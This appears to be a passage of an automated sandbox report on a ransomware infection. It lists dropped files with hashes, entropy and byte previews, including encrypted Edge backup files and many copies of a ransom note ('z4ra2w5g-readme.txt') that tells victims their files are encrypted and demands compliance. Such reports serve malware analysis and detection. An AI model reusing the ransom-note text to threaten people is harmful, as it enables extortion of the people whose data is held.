                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Links\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\DatastoreBackup\edb00001.log
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):524520
                        Entropy (8bit):7.999615603128998
                        Encrypted:true
                        SSDEEP:12288:jjpZv3MZBC1cmXD3voNRBzdzcxOhdYj8ws0s6dX:j3MP4LvUzZcuajpds6dX
                        MD5:7A076C668D9F1D10F71AA191608E0EC5
                        SHA1:0C6445E757291CEDFC06F140A8AC2733A3C96065
                        SHA-256:FFF95FEC92200C0B6FD13F6A0204425F149D2533A25EA85A05CBA9F786776E92
                        SHA-512:975665DE455707B326B80D3D6DD72F6F87EBAA5AAE338D6C8B4FA9FD51444A196DC9931677E6262537ED42EEBF0A4E983B3D92FB7A2A2CB931B2546F63C962D7
                        Malicious:false
                        Preview: 9.>^A+...i.,7ZK%:....|....7...{.S......&.:.P~....'.bj.<.U,..qDoNA..:0....4...:..Vp..U.....(.....N.....!J.Q...)...sG..........L.`{.hQ.A.7..'.q..{.9...'......$B...@cg.X.[W.9@.S.......S...".lS...X.,..AL9...".AV=.$..fa..Q.......(J.L,..@+..c....E.a......<~%....6./g.............V..@...a>..(0.$..m.(.0..*.....p....(tE..F.......P.`.|..,%.f..x.;>.....+`.j..K.bw.hW..z....b. %..i.=../.|Z.....j............~^.N.....H....-d..R*/.1...v.e...Y..+.X....Vy.P...>.F..I.-..&.K...".)..^.....!)*.*.j......S.@./....|..,F..#~.r.b....J./t.%...H.1PT...e.....i}]H......43..'..U.B.Y.9iN..#i..3.....xx#..(q~.wr)....?..X....o+..y.Z....>n6....%!..D O..)..+.".m...._.s.n.....*..N.@.Q.m._.A!.......r20^...89*-..K)....!.b.,\3.kV..0..y.oK....J&T............C..%L......)..:....8.S....^...B.K...........l....$sx..K..n..[...W...)..N...k..Y.....G.|._.A..Y..8....V...'._y.[.-z.+A C....z:._ld4........r.......T.D;(..,...8..I...su.a......[.#Q/.'@..E.f...c........k]...WIU.(....a/...!..29.
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\DatastoreBackup\edb00002.log
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):524520
                        Entropy (8bit):7.999673212045116
                        Encrypted:true
                        SSDEEP:12288:3sNA42WVQ/AS53L8rgrpsiFGoBnsEkpd1MbfPp39NxnmkQ3W:3ZL+Q/AS5bzsiFcHfMhZmV3W
                        MD5:552986DD24F6C6C36B4456A4C746614F
                        SHA1:7C89ACE9220790937E580C77B109453F522F6056
                        SHA-256:3C67B4C4273CCB9E640F88347A2DD3EB0467EE09784AFD60AC8DB2AE571567FD
                        SHA-512:7F9A6A212C98C2EDF8DA9B7C97357797461FAF63AFB3018616C434269E91FB7B748E1BCAF034648BA140047FCCAD19400A05B0C4D227AF4CD2C394223CA9EAED
                        Malicious:false
                        Preview: 2.'......t..Vu..h.l).....T.:....N_.<.l.f ...LXLA.g.%....._I....9+....h=...:F.N.}.xfz~..=M/...g.|a.o.T\.pb.W...3...k+C.*.....c..G..3.....&H.W..X..'.F.J._|Ir.]k...~#.....i....()..{.....|.s.Y..O n.<?:B-..7.......]...t...../ .:;Rq!Fg.K..._.dB......V.......t2.,.#...V8_=...T..4..K(..V&......=,}aiHh..[g.qt...^p..<.[.}.....bg*faP..$2.RU.....S.y4a.!*..rT...>.5~..@..].~......x..8..".t...W.~.H...k...t........L...*mzG.F._b..BT.r.{....|z.....R.l.*....w..Fon....K.....j+.P....#I..r.1.rvD.."....eI. ,&`-U9e....~].S....9..S.>a1..w..X.LK.D...T.<./.X.k...Q....).;.'.P=.{..0........{yX..=y.....y..3."..I...0.1I..2.\..Y..........y.!......H...c..t....^.H.......[O#P.Y........0.7..B...jIM.....J.Nk..f...:......#..P;....YKP..rD._..h.)[..?.RX.&...@_8..U8.....q9...y...Dh..b.w....SF.........M.v.E.H..;.'b..W..?h{/..n.7...e..#N>...H..NN...0C...;S..(G!f..sz...a.A..7.......'s......%...|.O..(..#.t.7.c.L.X..V...4y6N../.H..v.....'..j.\H!Yrp.o:U..e..Ftxg.6.%.T .By..
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\DatastoreBackup\schema.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):253
                        Entropy (8bit):7.148615116025246
                        Encrypted:false
                        SSDEEP:6:Wtmz8Zb0P8wbMvtauOHXj44B+fOvyafllj:WSPJMvtaurfftaT
                        MD5:DBE4E0679D189C8E9C63AE98A10CE6C5
                        SHA1:B326393C624922CB3FAB5441B72BEC68CAC2FD2E
                        SHA-256:FCFD478C010C0E4884A00BBE9154EFFB754026BF52054411294130FFD08EE03F
                        SHA-512:8CBAB11B15FBFDBB557F68D7C89B377BD44E465E93510463BB783CFC67F5582DE1D8DEDC39239478A7366A4A7D9C39983B5C359E397DBBD04FFBC92455447863
                        Malicious:false
                        Preview: t.;t....i:J...F.&.......-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b...'.M._..Vz..Sj...<{......U..J.YS...J..f.N.............o
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\DatastoreBackup\spartan.edb
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):2105576
                        Entropy (8bit):7.9999136618737134
                        Encrypted:true
                        SSDEEP:49152:2dEweo934S7zrmpJxKccfOJNvx9zeIyKPT14qpL6loL:2dEweVS7Pccf8N7eIBtmuL
                        MD5:4FF041D7395B12B09C1AC41E675CB98C
                        SHA1:EF4A57E0046B0710F9ED4A713741441063F35592
                        SHA-256:53FC8A45978F40D8C8F332868870115D53A23E8049C4CE569D3129F28C141623
                        SHA-512:49C438EC2BB50BB1566BD9DC319C139916CA74B00160C74665B4817A1A152B036DDE8FFA265BDE8E6457C94390D3CC1423923789A4770B72CDBC1B763A42823B
                        Malicious:false
                        Preview: B.C..l..".*3..HZ.,.N@.8(.Z.p.Z..].e.g..z.Y.3u.1R..?.W~:..+./.].......x...[|...X...E.k.X7..H...}......f.V.D.i2..X2...gP.n !F.+.MM.........#h.Z....~..z...z.+e...1....b5is.Z....-..).B........4...F.........,g.sF..]....G....s(.m.6..S..=..O.1(Y.I.J.s.L{...P.q..z9.Oa...6.b....s=$....l...F../..u.....:....|0..'K.m.....`r....l.D..8..v...6.i.x\..1N...W.x.V.....2..=.K.'........C..FD.g..K/..JA+.](.....%....T...Hm.....'..N>.?bA].K.fbC....9DO..R8Y.d.g7c..'.5;.....V..g....'B....'V.lm......u9.O..+.JcQ...`48...wR.kN'..A.%..u....p./.N.$".~w1~.m.'..l8M@V[W..%.b.L{..[.4.7~. ......Y...K....A.!-.R<....`.m0.&..*(..n..W_..E..i.D.o......$..dg..............x.W..`S..J0'O?..u....H..*.........g...*P.Rs..s...T.y../od..h.....(.(.....bP..4T&(...8&.......|H....X.^'..m. ........(.s.|.i.;...OW.F0tP|.\...J.. `7@..7.......!]/..H...jo.R7.>=3.......*.)fa....*.W..H.........3..}....YH8..r...........:..S.u..6....D........ 0U......@4L.......n!.{.e..E.J.gOC..^.........8..w..Ad.8EJ..
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\DatastoreBackup\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\MicrosoftEdgeCookiesBackup.dat
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):474
                        Entropy (8bit):7.522463509061305
                        Encrypted:false
                        SSDEEP:6:UqF9bDZkFY3HyvOptsODsRa4qxLdkHW/04aaVTlXz8Zb0P8wbMvtauOHXj44jzzf:UQ9bSsSvOpKfM4lHyYSPJMvtaurKlZ
                        MD5:9FE6FF90882A32079F8815A5F63DD896
                        SHA1:3321E9CDD6B91CC33B43B6EA4520D8E95938A524
                        SHA-256:148FDA545DBF09BEB5E674A48A7D0AD36AF44225EE872271D0BCD59CBDF9DD5E
                        SHA-512:7C47D8A37830EFCA4864B1A1CBF64551E151CCD246D8030381DC16CAEF145388D9A14F658029A29C9535418C008CE09CC4879CA080EBFFAB339C5B6B1FEA1257
                        Malicious:false
                        Preview: .X..g.?..b.^...]......*..0..A.%^eB~J.....Q...*.k..s...,..:}.&..Q....M..)*A9...X.&+...=.v..........}mV....ILFuh...W.5.5{j..).Il...4\.Vuv..x....+...,3.F.^...7.6(...oR.~.d.9.G..M../...%3g|S}....e.(]...s...A......a.m.n...$..s.w<.3........-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b...2...b.....>.m#......,.V...yM..\.PW.U..........3..
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\Protected - It is a violation of Windows Policy to modify\Backup.dat
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):770
                        Entropy (8bit):7.765136641417782
                        Encrypted:false
                        SSDEEP:24:FQEPduMlUPF4kvwMUUC1L/01nZVv0uutrJ8aM:acvlUpvwMUUC1L/01nZIJ8R
                        MD5:1925B33ED01CDC74A41CCA49FF308DED
                        SHA1:61252A51C758B43D213E305899930295135C7EA8
                        SHA-256:B3402A1DAB0E7BFD2BC3A22F9D852957545001C5340421C64F635C7DF8D52CEE
                        SHA-512:D6C11DD82CEDE760209C54532B33DB0AA7FC4FF17027151AA551B250B2503D024256BDD992D2E58BC4C8EAF0326C6D7DC1C7F60F1D6F1E1EAF78EB97C2FCF69E
                        Malicious:false
                        Preview: .:..V.J.7...[...D.9....UH.S.&..v..\..NR.....>0t$.......a|....)....i.r.<.{...+.{.>..#Y}0]Y./F".._.&..y.1.......M.+8..$...,.K........|( ju../..{...K.dIjy....oF......T2....h|@..X....!t4.n...JS............R....q.4.a.3.m...T+.{......Ez0.......`./.....bN..=#(1.=$.....cs...H..O......iIj.....``GV?.K...Br.R.)...=s6.^.W.B.wl>+.]{^+!.....I{h1...?.)..v..o....'0..8..^..q../.\.d.4...} >....a=.|..>l....*.[..'u.].0hz.PEdo6.w.../....J5k.h..i..@..+...f....3I..~...ka....ui..M...e}.g ..][Xa..;....n.b.e.X....._..r{!F.Y............-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..6?.:..^.....eGg}..)..t...w.(PN...!i.A.#OfU...........<
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\Protected - It is a violation of Windows Policy to modify\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\MicrosoftEdgeBackups\backups\MicrosoftEdgeBackup20200930\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\MicrosoftEdgeBackups\backups\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\MicrosoftEdgeBackups\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Music\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
